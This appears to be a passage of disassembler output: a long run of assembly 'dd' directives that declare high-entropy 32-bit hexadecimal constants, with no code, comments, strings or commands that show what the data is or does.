		dd 0D597317Dh, 7468F130h, 836EBAC7h, 202A1D9Ah,	3ED1CBEEh
		dd 5A94315Bh, 79EAE53Bh, 0F8ED30C2h, 4BF8C495h,	0F1D77455h
		dd 0E7A00223h, 7ABF3B48h, 678A101Eh, 0F3CF5389h, 3E219FE4h
		dd 83E29AA5h, 0DE2AF0C0h, 27BFCFB4h, 0DA8B59h, 418F5A30h
		dd 0E2C11F4Ah, 0C2389305h, 9E555CA4h, 0F9F6272Eh, 1E1CDE59h
		dd 0DE971A65h, 0AF8788C6h, 6CB12B2Fh, 9083A94Ah, 0E82E1662h
		dd 0DADF0841h, 12CF8914h, 0E58C1538h, 52F440ACh, 4EFE6800h
		dd 215A43B7h, 886691D3h, 0E38885Dh, 445B04D8h, 34C052D7h
		dd 4CB35302h, 0F32E5672h, 0C5A7BD3Ch, 133D257Ch, 7DD0431Ah
		dd 493C5C35h, 0D074034h, 89222870h, 2C5FD680h, 0E9A07F42h
		dd 0F23B158Fh, 0BF60054h, 29D46B02h, 0EE5E60F0h, 64270A19h
		dd 8A0B596h, 8CA1585Ah,	0A2FEC87Ah, 0C44D8A9Eh,	4C9003Ah
		dd 8E68669Dh, 0D39A1574h, 3FB65207h, 0B219F9E9h, 0DC307540h
		dd 56821F73h, 9DDF6588h, 0A4BC788Bh, 552FB5CBh,	3BCA8451h
		dd 28309B10h, 0C0D0F6CAh, 9F08E02Ch, 5FE89915h,	921660C1h
		dd 0D007AE04h, 7C11B951h, 0E2204B56h, 0E96C01BDh, 83E38178h
		dd 2A75DD64h, 76F34080h, 58ACFAF9h, 102E4231h, 9756A7DEh
		dd 96A86878h, 0DDE90455h, 8F96A4A3h, 0F433D44Eh, 84915BBBh
		dd 0ADF11433h, 4E2CB112h, 13FE32E9h, 0C435EC15h, 5C092B71h
		dd 9252C77Ch, 5AA69F5h,	0B902D328h, 2A0B0CD4h, 0A5D03FC1h
		dd 8951590Dh, 0A6F4C073h, 711983C2h, 555289DCh,	0DABFB545h
		dd 50C497E2h, 0B1826B8h, 5E0A1423h, 8A016D4h, 6BC6E92Fh
		dd 322CB19Dh, 0F0F85202h, 443EF998h, 929DA420h,	69D42889h
		dd 0DF8EA304h, 5475866h, 25C30E01h, 40D32C88h, 453F1402h
		dd 57B223E9h, 0CA29CF30h, 14875913h, 22C069EAh,	4B47270Ch
		dd 6569F0ADh, 86175AF0h, 2E0B1235h, 54FCC595h, 117C49F3h
		dd 9E7FE950h, 98742590h, 0B29FF52h, 0E132400h, 609D1810h
		dd 3E385601h, 84CB7809h, 3909BABEh, 5C1948BEh, 5C7482D6h
		dd 3D5BA08h, 0EBC28058h, 0FEE5E298h, 0EAC0CA0Fh, 0D9F26106h
		dd 9170D130h, 0E91813B3h, 3745E572h, 448416F5h,	97572DC8h
		dd 0BAE3B184h, 5F2C6213h, 0B36CBDF1h, 4C34D5A0h, 29249773h
		dd 0BE097DEAh, 8C3479BAh, 287DD4A2h, 1404F816h,	0B5D52AC8h
		dd 878FF06Ah, 4B48A01Fh, 400E69C6h, 126C0D68h, 0AF435635h
		dd 42251200h, 0F6271D34h, 2147284h, 4E2D480Bh, 0DD40FCECh
		dd 0E92558C5h, 0E8136932h, 0D9F1DCDFh, 7EF8CCCDh, 47F9A7Dh
		dd 0F8BB6653h, 0DD77C331h, 3DEA6FF1h, 6C7B0829h, 30EF09CCh
		dd 2FF5734Ah, 78AD693Ah, 7AE4B7D1h, 0FC7B3F20h,	0D97AEB3Ah
		dd 0D93CAFB3h, 6253CA2Bh, 4D785FE9h, 4BE8ECBFh,	68A48009h
		dd 0CEBF58A1h, 473509D5h, 0B7AB7717h, 0BAA86653h, 20EEAB25h
		dd 116269D9h, 3DF9065h,	4CE442F0h, 0A0804F25h, 45000D7Bh
		dd 481B927Ch, 12DD0F7h,	761C73D6h, 0C95CCD05h, 96A02B3Ch
		dd 9ACEBD01h, 7A2665Eh,	357ABA12h, 872F2105h, 0F32901C6h
		dd 8C3F4371h, 225AB6AFh, 8BC5CCD1h, 24C1B193h, 50B9C810h
		dd 0B0B6EFBDh, 5C51E1DAh, 35480A00h, 12A905D7h,	0E2D1012Dh
		dd 0C121C003h, 10076058h, 16380604h, 2EE0FAE9h,	66343FB0h
		dd 0B2525007h, 95C3D36Fh, 1B1C8F75h, 4BD67044h,	41621801h
		dd 0C826FD3h, 9758A8EAh, 782D047Ch, 0FAC12099h,	48C3803Eh
		dd 0EBEC7483h, 855D7D7Eh, 8EA249C2h, 316902EDh,	0B52D6042h
		dd 28E1D55h, 0BF578101h, 2F3C6CF4h, 7404D200h, 9526583h
		dd 9226F2BAh, 0C6024FDCh, 0D0477306h, 5CA240DAh, 2F04664Ah
		dd 72FF757Fh, 0F319BB9Eh, 4CE77DAh, 0B9DA02BFh,	13AC71AFh
		dd 0BFD7095Ch, 90651CD7h, 0C07C415Bh, 1ABD5AD3h, 0FF266203h
		dd 6812FC16h, 27ED0721h, 5136F3A4h, 4BE22E68h, 0CB282877h
		dd 8DF4F9B1h, 0AC69B11Eh, 0BCF03F9Fh, 5B504317h, 0D3E98509h
		dd 26A3593Dh, 26D625F8h, 56FE0545h, 16BDF215h, 75F092E9h
		dd 30E109BFh, 36004CF6h, 7BD20F20h, 51F9890h, 62807826h
		dd 4B913540h, 81CF00E8h, 1D46E5EFh, 0C7680151h,	0E90B08DAh
		dd 95AFAA8h, 0ED835AD5h, 923FE159h, 0F934428Ch,	1164F800h
		dd 9BB2F96h, 0D069EE9Dh, 4E0B0AF4h, 6F28C920h, 0E0B8C2Ah
		dd 8179EFAh, 5956BCE9h,	0D495E027h, 0DB5F21ECh,	0CDC816F4h
		dd 732F6BADh, 57165514h, 13E145E9h, 16513220h, 4752128h
		dd 3BBE3FEh, 7B8A0Dh, 35D8F750h, 906BD1F3h, 58C78912h
		dd 0E8A413C2h, 12EBC18Ah, 44DBF706h, 0FBB31EB4h, 0A03E3809h
		dd 3B3ABAECh, 695090A2h, 248787D3h, 5C27C844h, 0DD60ADC5h
		dd 7FFE430Bh, 564FB0BDh, 1A7C2BE9h, 0FB101895h,	5E01F321h
		dd 850FDB0Bh, 8051CCE5h, 420D4E1Eh, 9957378Ch, 84289408h
		dd 69685105h, 0F4E3E876h, 942DEBh, 3A5AA4EEh, 2C3548h
		dd 59B17538h, 13CFD82Dh, 0F018EEBh, 6F5DE9BDh, 7F7A3766h
		dd 4FAE384Dh, 0D6756F8Dh, 38E93830h, 0E1CA6C50h, 89297D8Ch
		dd 49D78DEh, 0F3B511B2h, 80458028h, 0F5E601EDh,	0EE3CAC70h
		dd 0DFC6AE59h, 75BCE61Fh, 0D4EBE913h, 0F51142A3h, 5CC2772h
		dd 5AB2B81Dh, 8758C60Bh, 0AE688F7Ch, 0EB8FF13h,	7900DE8Eh
		dd 0DAF58132h, 5DAC0DD3h
		dd 504B2D24h, 64818F8Ch, 118A53Bh, 0D2BFEBBh, 0A4AA3330h
		dd 6DC0A31h, 0FB11CFCh,	23E90E78h, 0E2FB7104h, 6B9B581Eh
		dd 0E7947247h, 0F714CC62h, 3905A8DAh, 0EC207A30h, 0DBE10153h
		dd 411DCD0Eh, 0D034E52Fh, 0A7313BBAh, 54990C3Ah, 0B03157D4h
		dd 409290F8h, 0F89F5DA0h, 58FC0FBFh, 74A4503Eh,	0E833D085h
		dd 0DDB88B79h, 7BBAF701h, 30E978C2h, 88A1976Eh,	2F1D1608h
		dd 0A3904F29h, 0F4AE8F6Ah, 12977D30h, 3AF6EE86h, 607230D5h
		dd 0F08808F5h, 0C0BF5A66h, 0F3FB3447h, 19EDD847h, 9D8B5520h
		dd 5529DC89h, 90D9A4FDh, 2EB6BA90h, 0D65ACFD0h,	0ED20E164h
		dd 9E2A7791h, 0D04FC396h, 3882C644h, 31AE28FAh,	4C2C85Ah
		dd 2F497CB7h, 9FF8AE4Ch, 0E4A2194Eh, 0F093B515h, 13350881h
		dd 1D44301Bh, 403E2016h, 80B68D4h, 1296005Dh, 0FA71D709h
		dd 0CF1A0BF2h, 0DC22F3F7h, 340DB59Dh, 0A79BF53Eh, 9AA7DE50h
		dd 0D7FE1A5Bh, 2A951AB0h, 0FF4658FFh, 904FFF58h, 6282C5D5h
		dd 0D097497Dh, 0AA095103h, 4381D7DEh, 20947983h, 6F925097h
		dd 2B7BD06h, 53C0522h, 0FADDFD4Dh, 1207BD89h, 0E3C44AE9h
		dd 21EA384h, 0B8498ED7h, 0C443F65Ah, 27C5BEFAh,	0F229C220h
		dd 0D0D1B65Eh, 0D596E3B4h, 8372E99h, 980D130h, 0E7D0CCCFh
		dd 0CD16857Fh, 653EADA1h, 25E0E2D6h, 4F28F9ACh,	1E2BB684h
		dd 0D7C9985Dh, 354A5977h, 682CC003h, 35C43C25h,	4AB2BEFDh
		dd 5BDF7950h, 0F65F40D1h, 0EF098A11h, 3F6B8590h, 7B0705F9h
		dd 56271BF8h, 0EFC4F8CEh, 0D7ABE981h, 8E7F527Ah, 0E153CD7Eh
		dd 0E738CFAFh, 0A8D18885h, 78E9C652h, 0C9054ED3h, 0DEA52F46h
		dd 2F8D420h, 0F760E02Dh, 847C5F71h, 73CC0659h, 1CE92E7Bh
		dd 7E9BA79Ch, 0E59DD67Ch, 0DCF7153Fh, 0DB5B0C20h, 75681702h
		dd 8818F957h, 11D0CC5h,	1B9F5854h, 0F0511046h, 7BE043F2h
		dd 0A5C72F15h, 780F7E64h, 85662E7Fh, 74BA842Dh,	29B1F480h
		dd 129265CAh, 73012082h, 374A7511h, 4C890809h, 0E9F8BFDCh
		dd 0F9F54EFAh, 1F648622h, 2C32729h, 5B1621D1h, 21802DABh
		dd 7711D9A0h, 0FA465E64h, 9A9B2B4h, 977928EBh, 3AC15DE0h
		dd 0E97DD009h, 314BC0EEh, 75E90CDh, 0D22691F5h,	0E003991Eh
		dd 0CB3F5457h, 4AC7CBE9h, 0DDFBCFD4h, 0B879A89Dh, 5F0BF878h
		dd 55EFC158h, 0E3A11A38h, 5F45C182h, 0AA18853Ah, 0CB41146Dh
		dd 91587F87h, 0D9109752h, 0CA94A778h, 5A1B7C72h, 3ED3A039h
		dd 9C2070F4h, 22922590h, 2D18D080h, 5A950968h, 134EE62Ah
		dd 427616Bh, 0EF7450D6h, 10F17474h, 5CCBFE32h, 0BE3BBC85h
		dd 0A5846B27h, 50483CE9h, 8D12916h, 7E318A84h, 57E11263h
		dd 888F403Fh, 0E9702A7Fh, 7684085Ah, 89CBBE56h,	0B4539340h
		dd 2E160437h, 0CA6C8136h, 68838F23h, 657943DAh,	1CF7B95Eh
		dd 8381A32Ah, 824AC8C6h, 0C7E2Ch, 32206DEEh, 0E47AE91Dh
		dd 1BA74897h, 66EFBE9Eh, 0F881ED15h, 45103B4h, 0AC662DD4h
		dd 0D94EAC32h, 567E5E70h, 7C9009D8h, 256B145Ch,	7E84C875h
		dd 7306D604h, 0B704F010h, 0B030FE45h, 8A0EF31h,	0CFA942E9h
		dd 2ACDB8BDh, 5E138855h, 50BC8207h, 45D0640h, 0AC68C801h
		dd 0D0D7A80Dh, 4AF481Eh, 585B3388h, 5A8164A2h, 3572BBE9h
		dd 0D3782326h, 8E51F7BCh, 93C6616Fh, 5FF905BAh,	0FC9AC655h
		dd 895F06EFh, 68975927h, 0C0664609h, 718B2191h,	0D1992386h
		dd 0F1819D91h, 91078719h, 0FCF381E3h, 6D00E2BEh, 9A0D952Dh
		dd 97BB5311h, 60B0537Ah, 0DB45B760h, 1373CB81h,	23E5A76h
		dd 8008091Fh, 9F45F082h, 7AEE6801h, 0C1309E4Dh,	61011285h
		dd 0F7CE0B17h, 0D45427D0h, 0FA9FBFEFh, 81D99A66h, 0A27C725Dh
		dd 1574E64Fh, 3B93E588h, 9B52F6CBh, 0F3A6912h, 82F2BD14h
		dd 53A4D7D2h, 66959060h, 0D81C285Bh, 0B9821604h, 0D7483768h
		dd 0C2390D19h, 915DC3E2h, 412BB43Ch, 387DEEC8h,	50833B84h
		dd 50CFF25Eh, 305916B1h, 0A590E8C1h, 528C08BEh,	210543Bh
		dd 0D8AAE58Bh, 1F2468DEh, 7289996Bh, 66A619E5h,	0E94139F8h
		dd 135DA23Bh, 0DBE7B959h, 0D076EC5Ah, 40CB44B3h, 0BD005279h
		dd 49880E99h, 581834BAh, 0EA255646h, 69BC59h, 49783273h
		dd 6A6CC466h, 0BCE812B8h, 0EE1093Ch, 20CE295Bh,	8980745Fh
		dd 89F49BE0h, 1E6AF98Dh, 62907BF8h, 0C4EE0209h,	68068990h
		dd 0B49FE951h, 66BE0E0Ch, 0BA0AB225h, 5B5E8440h, 0D3710DE9h
		dd 0F429FA20h, 0D3DC23F8h, 365D0E93h, 0C272F387h, 4755C2B1h
		dd 182E3F23h, 0E8099760h, 8A25794Dh, 541C9AB4h,	6A630FFh
		dd 20BC513h, 0D186CEE9h, 0F8559346h, 0FA2185B0h, 9971CC2h
		dd 25802F0h, 3D19CD61h,	94713044h, 8A7F0996h, 0B6C25C4h
		dd 2D6390C7h, 883E2515h, 25B89354h, 0AC7CC811h,	22688006h
		dd 0EE432962h, 288E71F9h, 0AD144B67h, 0BF57C043h, 70113C6h
		dd 7FCF8145h, 0E9173065h, 1495247Bh, 2EC60004h,	0E93D526Eh
		dd 0B895D9AEh, 1B95189h, 73DA2E71h, 817599E9h, 6FB1CE23h
		dd 0AFED4018h, 0FD899950h, 0EBBB035Fh, 1CE3DF5h, 8B4587ACh
		dd 890B4D92h, 0ADC05912h, 599C9AE9h, 6A01AD12h,	76074B69h
		dd 30F1EA70h, 0F5A4A82Fh, 62D3B25h, 0EEF07C17h,	0A4390A27h
		dd 58D5AA29h, 0A5A0B584h, 307816B4h, 0C421EAE6h, 5F2B8D7Ah
		dd 0AC594184h, 0DC575A35h, 36721B94h, 6D1ADAAh,	0EACCA064h
		dd 738C0E05h, 44A13C38h, 2E59D420h, 48FFFA80h, 0DD474C53h
		dd 50B0907Ah, 0B050A2Dh, 49E9105Fh, 0B3DF9482h,	9D62AF54h
		dd 485D067Ch, 7F6DCB00h, 0DFF1814Fh, 0C149F62Eh, 214E19F0h
		dd 35F56A65h, 6A6C0806h, 0BF03CE8h, 864C9E92h, 309A2CF4h
		dd 0BD1A14BDh, 0CA2AE94Fh, 8944295Eh, 0BF00F3F2h, 72A76645h
		dd 31E7D10Eh, 8FB4DDFh,	0A00D67Eh, 0C204C74Bh, 68022AD7h
		dd 98DF33E5h, 2A9B8BBh,	0E915E262h, 0C00BBAECh,	16FC2D92h
		dd 10A85AC2h, 0CD42E3D5h, 2C003C59h, 0B975940Ah, 98E24B80h
		dd 0EE5FB8BAh, 4B6810B4h, 0D68BE8A2h, 812B4BBEh, 0BBB99160h
		dd 673C6504h, 0C2C2C829h, 0F8160E89h, 0B43FE12Ch, 6D570500h
		dd 2703513Dh, 4A4AF92Eh, 35EB05BCh, 0ED038138h,	0E9795108h
		dd 75993C7Ch, 0A6E8B30h, 2441402Dh, 28190887h, 0E87A200Fh
		dd 0FBF28000h, 0C05AD588h, 860539E5h, 8DCF69Bh,	0D0DFCDF8h
		dd 65C50AC1h, 0BA62EE88h, 0AD2BAF17h, 62FBD2B4h, 25D458E1h
		dd 5DC97989h, 91D7453Ah, 0A79338D7h, 0D44C095Bh, 30AC76C1h
		dd 0FC582CDBh, 592F2F28h, 7DB4433Eh, 0F3F1C51Ch, 0F804C9D2h
		dd 0B70BAE98h, 59EFC580h, 5048D7F6h, 0D3AA105Ch, 0E4010548h
		dd 9528CD2Fh, 7640CA40h, 1A244390h, 0AF02906Eh,	41454D13h
		dd 0F7CE5984h, 0D8910F16h, 0BC50B42h, 5CC26DC9h, 380FA98Eh
		dd 0A5296C49h, 34AC66E9h, 0C609E24Fh, 0A519D831h, 42FEA613h
		dd 0FB9A647Eh, 6B335880h, 0F72C268Bh, 0EE123DD2h, 19EB591h
		dd 58958C3Eh, 84B81148h, 1D166D79h, 12B6CB75h, 77D23A75h
		dd 0AD647E49h, 9200FB2Bh, 5D808275h, 214C6694h,	9D68849Dh
		dd 14784FAFh, 0A427B216h, 56AD88FBh, 1DC5BE6Eh,	2D7B5827h
		dd 685B32D6h, 271BEB0Eh, 0A7F46199h, 0C8EECD94h, 0C1D7043Fh
		dd 0E24FA4FCh, 0EF9ADAh, 311AAA5h, 0E94A091Bh, 19DF9A05h
		dd 0A62E565Ah, 17ED58DAh, 2A9CF8D8h, 0F7E51CD1h, 0E9DD84D5h
		dd 0AB569527h, 5A3F388Ah, 4ED81592h, 0B0E53006h, 8359906Ch
		dd 0FE0207Fh, 811B8413h
		dd 72021D90h, 686E1FA4h, 0C54627F1h, 59354327h,	0E1163C49h
		dd 0AF29EAFDh, 0E942886Eh, 9BC0F730h, 289582Ah,	0A4E28138h
		dd 0F1F42152h, 0F58DD200h, 26D5018Bh, 0BF48B5E9h, 60CF04Fh
		dd 64EA8103h, 752C4518h, 5839700Ch, 0B8206A2Ah,	0C301504Fh
		dd 55E8D158h, 136E8A3Fh, 76FCFDE9h, 1412F9D3h, 0D6B64C29h
		dd 5DBF8A09h, 0CA58C6B1h, 12296746h, 302936Ch, 0DC0ABD30h
		dd 0E69F39F8h, 2CF60907h, 0C021AF85h, 0C22D5E8Ah, 714AF2B0h
		dd 51666188h, 6BC529FFh, 5225F569h, 477F1562h, 0E13825BFh
		dd 0DF4D17E9h, 0B1510466h, 0AA0B5026h, 0C1481255h, 76EB01Bh
		dd 8130BF46h, 24572A71h, 68685F5Bh, 0BB09D553h,	65AFF69Bh
		dd 97520831h, 52E7F4A5h, 704A2479h, 0E7658E02h,	8AD78661h
		dd 0E104B70Dh, 10EB1487h, 0F85A1F09h, 0E2EF1E71h, 56563549h
		dd 7CEA0AD7h, 2A524C6h,	7A90298Ch, 0BC85CD6h, 0B084529h
		dd 0F30109CCh, 7D76D509h, 32C242h, 5C70A0BBh, 0AEA4185Fh
		dd 0AC2A195Bh, 0BF431024h, 19E60912h, 20437865h, 0B889FA1Ch
		dd 64133055h, 524B3B13h, 32005CF8h, 0F5892901h,	31408CE9h
		dd 80D11FB2h, 0EA267DECh, 0A85CA778h, 57070039h, 8F5315BFh
		dd 21009726h, 31F90672h, 0D9030E5h, 0C0A7DF82h,	0A24A1CDh
		dd 429F706Fh, 87913D2Fh, 0FC223954h, 74B280B4h,	0BC65B67Ah
		dd 8C214B0h, 0D2835D1Fh, 0B2E7B802h, 4961D45Ah,	20396AC7h
		dd 8A585A6Ah, 9A4A7F6Dh, 95ECE616h, 65C138F1h, 0AF47A000h
		dd 391DA50Bh, 60190B1Fh, 3F33351Dh, 2927F778h, 0EA795A09h
		dd 2F3AEC2h, 0BD89EE01h, 0C6425876h, 1720F17h, 57DD2B54h
		dd 1B602858h, 0F155088Bh, 0E174274Eh, 0CC024A8Ah, 0D95F0B1Eh
		dd 1FFBD061h, 6F75581h,	6A6F7B19h, 0FC7C1B4h, 79CC07D1h
		dd 1AF540FEh, 0D7F716ACh, 0A0081DC2h, 400E7502h, 2958C261h
		dd 0A1569757h, 31CB6D87h, 6A0D308h, 69E42995h, 0BA38BCA9h
		dd 0C4A4CDDCh, 0B8BC40ECh, 6F6A7F20h, 0D7069DA2h, 0C5CC3FC2h
		dd 0FC574FBDh, 0CE4636Eh, 0BEEBF831h, 905B1B3Eh, 5032BBA9h
		dd 6625A382h, 942A1B87h, 0B853439Fh, 0FCA82256h, 69974238h
		dd 0FC791277h, 575B1681h, 3EB0A6E8h, 20589307h,	1988208Fh
		dd 6A4C380h, 35656F30h,	29EDA181h, 1D22287Ah, 9A9F36BAh
		dd 0A50744Ch, 817B6A17h, 0A1436BB8h, 0F6C03B48h, 9D1B57E9h
		dd 0EC09DD65h, 0E893D503h, 52C953C2h, 2EF16F5Eh, 1E74220h
		dd 65701AA6h, 7B8A4BE9h, 688DBB41h, 1EC1D75h, 0A4E9514h
		dd 0B76CF6h, 5E2C057h, 0F6CA13FEh, 10CE2D2h, 0E9D78862h
		dd 296B2EC5h, 0CD13F453h, 0B8502701h, 42F628BBh, 334CDA6Ch
		dd 87CC4051h, 67F33B6Eh, 2546B87Ch, 8FDE6648h, 0E867D09Dh
		dd 0FA5715E0h, 81A0A174h, 0DF103262h, 37444BE4h, 0BC17BB60h
		dd 0FE1A0F1Fh, 0DDDBA9C8h, 76F334A1h, 0BDB26A88h, 85FDB4C9h
		dd 53E2EBBCh, 6C872578h, 63F68220h, 58984A05h, 96268475h
		dd 2126D52h, 0F82013EFh, 0EE9A8141h, 338134Fh, 4E07E7Eh
		dd 0F564DA2Dh, 404EBCF4h, 1579DCCAh, 91B5658h, 8EEFC147h
		dd 7B51E193h, 0C8F4070h, 0E674A30Dh, 3E48E04Ah,	0F72252B9h
		dd 5B682CFBh, 9CF8B67h,	0FA932B95h, 0C09D490Ch,	51D9E702h
		dd 9DC46056h, 0FB6E7BFEh, 4596C11Fh, 71EDE741h,	5B3EFFA8h
		dd 0C293D46Eh, 640F2D77h, 0B8B267F1h, 52763292h, 0C66E4B7Ch
		dd 920595Ah, 45EE67E8h,	8A0F8FCh, 0FFF35A4Fh, 0BDC4DA4Ch
		dd 516BD867h, 4BB3683Fh, 0E9C285CEh, 5D31EA8h, 0F2D374A7h
		dd 2390C057h, 64BCB605h, 0A9088353h, 6F11EAD9h,	4093F2F0h
		dd 0C51C8017h, 2DFDFE94h, 550CE255h, 2863AA8h, 3B9B4786h
		dd 45B2DE0h, 0EAFDA050h, 4C44084Ch, 816B2031h, 543409F6h
		dd 7FDD702Ch, 0C7D5DE8h, 0BD34527Eh, 0F029EA02h, 0E9E20DFDh
		dd 6CFC07A9h, 96D6F784h, 2D044180h, 0F9B21932h,	26581E95h
		dd 72F44ED6h, 41E04CF3h, 0B122B4C0h, 0E14A28DBh, 80C15BE8h
		dd 0DDE961C9h, 18E76E73h, 0B25FC14Ch, 0DAE13B62h, 0E8E5E0ECh
		dd 1C230E19h, 0E604D29Ch, 0B41AA962h, 7CD563F5h, 9021250Ah
		dd 2B2FD352h, 8B875BE3h, 9CF25DEFh, 0E22A632Ah,	2B67F2ECh
		dd 0C56FB56Bh, 25EC142Dh, 57DCEFE4h, 5BD940CDh,	89993539h
		dd 6309473Eh, 63C7F884h, 2452590Ch, 4EB5284Bh, 3CE2A04Fh
		dd 5E277C05h, 56B803Ch,	4DAD1F7h, 25F4D09Eh, 3370555Ch
		dd 89E85B97h, 1CF76643h, 0EB0D273h, 0FA9F03A1h,	308F571Bh
		dd 0EA80E109h, 0B07704BFh, 661E1691h, 7BE1392Ah, 0D0B1E062h
		dd 4F211E83h, 25F8091Ch, 49CF1C5Ch, 7D1E5FDBh, 9A7BCE98h
		dd 0D9A87C82h, 978A7B5Ch, 0BF5451C5h, 0A25B1C2Ah, 6858819Fh
		dd 8A76211Ch, 0ACD7402Ch, 0A74152ECh, 0E08204CFh, 71C48503h
		dd 17ED6AE4h, 232610Ah,	9252AD12h, 6E4EC05Dh, 729D2C7Ch
		dd 9FB1228Fh, 2180FB05h, 4972EA4h, 0D2ED52AEh, 7A405AB4h
		dd 83057F2Ah, 86E94E1Fh, 8A5F22ACh, 690548E5h, 8190570Dh
		dd 6888653Ah, 294863B9h, 0CBDFEF66h, 86C2ED56h,	5644D70Ch
		dd 0F40D6A9Dh, 0F23C712Ah, 0FB7A195Dh, 86896A78h, 68D891DFh
		dd 0D85BF00h, 811A2D00h, 152B39EFh, 2B9027h, 463649E0h
		dd 0E7C1D7F7h, 4EB0034Ah, 3EB548ACh, 109EA85Bh,	592D1077h
		dd 0EB2D04D6h, 22D0DD20h, 9F2B2068h, 820A6C7Bh,	4F98A9AAh
		dd 81CB5C98h, 79442C58h, 25AF4925h, 0EB56A011h,	0CCDE4CA8h
		dd 6816EDCCh, 1019EB24h, 769E016Fh, 63802F8h, 0AD8E42C9h
		dd 7C7E18A3h, 5DDB0C04h, 0EFC867Ah, 0A55A8794h,	0EC0D40D7h
		dd 467C9B66h, 0B5FBE420h, 4AB725DAh, 69D78B32h,	1A925AF1h
		dd 0F67CEB02h, 0A2834CDDh, 48288AD2h, 0F35A3476h, 31683AA4h
		dd 0BEF91C26h, 18C811EEh, 0E0311588h, 7F1CBE26h, 89D68E09h
		dd 0F61EDDA5h, 0A813519Dh, 461B0BBh, 0E92BFC34h, 0FB0AD567h
		dd 0C9E60072h, 0B26A5B9Bh, 0AF80C57Eh, 0DD6635FEh, 0BE00CA92h
		dd 58BB0A56h, 0E525A769h, 0D767C55Eh, 48F1FA2h,	47C9FF5Ah
		dd 67F7C88h, 2FB8D02Fh,	1B76EB81h, 0BC9E4650h, 0F0562FAh
		dd 2FAF4C55h, 83735F54h, 5A2727C8h, 0ACFB547Fh,	18652568h
		dd 7C7ADA56h, 11FE196Bh, 2BC2E558h, 25217128h, 0F07B1C57h
		dd 0D6387442h, 45DDD26Eh, 0B3442DC9h, 0D6631625h, 97B952DAh
		dd 0A245FABFh, 3304F828h, 29760D07h, 80112E1h, 0FE685DE9h
		dd 7A0AA045h, 0C023542Eh, 0BF685751h, 53102809h, 0A516805Fh
		dd 940C9778h, 0A5562D77h, 5630B683h, 0E06AF75h,	35E57C51h
		dd 0FF73B18Bh, 0FB17C30Ah, 4CF234B5h, 1E6CF103h, 0F9DA3B5Fh
		dd 0B800B95Ch, 4F4A3D98h, 926FF648h, 0C50817E3h, 15E10B58h
		dd 8639D55Ch, 0ADC6E9DCh, 6506AA36h, 4197A07Dh,	0A7806A8Ch
		dd 0BF4C5D71h, 4954DAC0h, 2A90CF51h, 4F5BB1A4h,	895C2852h
		dd 6CF308D3h, 272CC32Ch, 4CB84FEh, 112F181h, 28020501h
		dd 6A137E42h, 39929038h, 60CCD0F7h, 8C864500h, 0FE71E9A1h
		dd 68417396h, 316A5F6Fh, 81CC4C6Fh, 7FCEA65h, 0A3F786Ah
		dd 524B29B2h, 9DBE14D7h, 0B428F271h, 0DE31925Eh, 1C5C5453h
		dd 5A302768h, 5C83FDF1h, 4191D03h, 0E2FCA8EAh, 4062ACE6h
		dd 3B1F8AB2h, 0F5D4685Eh, 0AF2926DFh, 84A4ED0Fh, 31C26077h
		dd 0EF625ED1h, 0CD92AF69h, 0BD70E0DDh, 12B780DBh, 7B412298h
		dd 102D0C6Fh, 681A662Dh, 8FD453A0h, 6ABF03A2h, 5531E2EDh
		dd 1A0560E3h, 0A9E5E9DEh
		dd 0D67A21BEh, 23272F67h, 0D5201AF2h, 4E252747h, 0D6F72E04h
		dd 58CA8F6h, 2A6BC8E7h,	0C311C05Bh, 677C9307h, 0FE2DF604h
		dd 5BA62A3h, 84FA89CDh,	0CE18EDDh, 8E640DE9h, 70557B2Ch
		dd 0E9D07603h, 0B4B25BF4h, 1221C21Ah, 60916801h, 0DC587523h
		dd 0DF000948h, 0E965F472h, 0B3A6A7C2h, 8E4C29F0h, 0F36984C9h
		dd 4F0CBF17h, 62FC3A19h, 665E9103h, 1C5CB7Ch, 87FA50AFh
		dd 2044929Eh, 2FC3C646h, 0AE7DF03Dh, 5180BD8Ah,	0ED80E0B5h
		dd 5991F6D1h, 6D5401E1h, 30A012B3h, 0C03DAED8h,	27AA697Bh
		dd 8FB75B55h, 0E7D65F52h, 16734D6Fh, 0B84C330h,	0C87B9409h
		dd 817167A6h, 0FBB22F89h, 0E2F3D3DEh, 96029615h, 5DD4A5E9h
		dd 2EC9994h, 1CE92E84h,	6456926Fh, 0D39FB34h, 0EE9DF739h
		dd 0A2D0A7F1h, 0A40D9221h, 0E0E25BE7h, 9E8F1E41h, 0D05F393h
		dd 58ACDB61h, 9B429770h, 7338A462h, 0CE2AE955h,	8316D878h
		dd 13FE01EBh, 0C062AC15h, 65986851h, 591B273Bh,	3682B6FCh
		dd 55902DF9h, 1077C342h, 25E907C5h, 0B076DFFDh,	2F7F7BEBh
		dd 6BD4A892h, 0F593E962h, 4B57F6Bh, 10922E87h, 725F06FFh
		dd 12E63298h, 6104C4Ah,	6D602543h, 8DAEE0Bh, 0B8895D37h
		dd 6AC1C0E0h, 414A3863h, 0EC29146Eh, 0B8273802h, 9DBE4C40h
		dd 1E7AEE90h, 5815B765h, 408369A4h, 71955F89h, 965F6BB3h
		dd 17852521h, 1C289B5Bh, 9349AC5Bh, 90A9D27Fh, 54805E9h
		dd 139D7C8Bh, 2C74E8DCh, 0BF40FDFFh, 0B0099130h, 2CFE1305h
		dd 79180B94h, 0ABB5264Bh, 5400A852h, 0AA639FC5h, 0C4294B03h
		dd 0BE081389h, 0FAE90460h, 978792A5h, 1490C4F9h, 0FE83C25Ch
		dd 0B88DE9C2h, 0EEC00FF3h, 0C5121C05h, 0A98539ADh, 4231EE22h
		dd 173A18E9h, 0B920FC2Eh, 4E1E7638h, 57D212E9h,	10A8A85Ah
		dd 3A4C1925h, 0F8D58917h, 166E48BFh, 0C424F23Fh, 58CA4BEEh
		dd 0E9053B7Bh, 59B95E61h, 0B10C605h, 0CE54806Ch, 360515AEh
		dd 6EF4E97Ah, 0EFE08CBBh, 0CE81CE94h, 2EDE348Eh, 8CB43E82h
		dd 87F765A7h, 273C752Ch, 832FEDF5h, 7E02D66h, 0D9E935F8h
		dd 2D6563D3h, 65078995h, 6D562FBAh, 9BB30758h, 0CF488BCDh
		dd 2FD41C5Dh, 3B5A6568h, 458C7D27h, 13A7BE6Bh, 57682583h
		dd 5236CCF5h, 0BC94ADFCh, 451C7F3Bh, 947D5915h,	809DF163h
		dd 0DD7241F6h, 678CB008h, 0D0141246h, 222D9751h, 4A067100h
		dd 0E957F029h, 0BCEE4F76h, 487FCBA1h, 2509C6CDh, 0AC569D04h
		dd 0C2267C2Dh, 740BB5BDh, 0D660220h, 0D5D8295Eh, 9E1619E6h
		dd 480B7810h, 0D15348E0h, 0E4CDA0EEh, 0A44F2237h, 2543BE59h
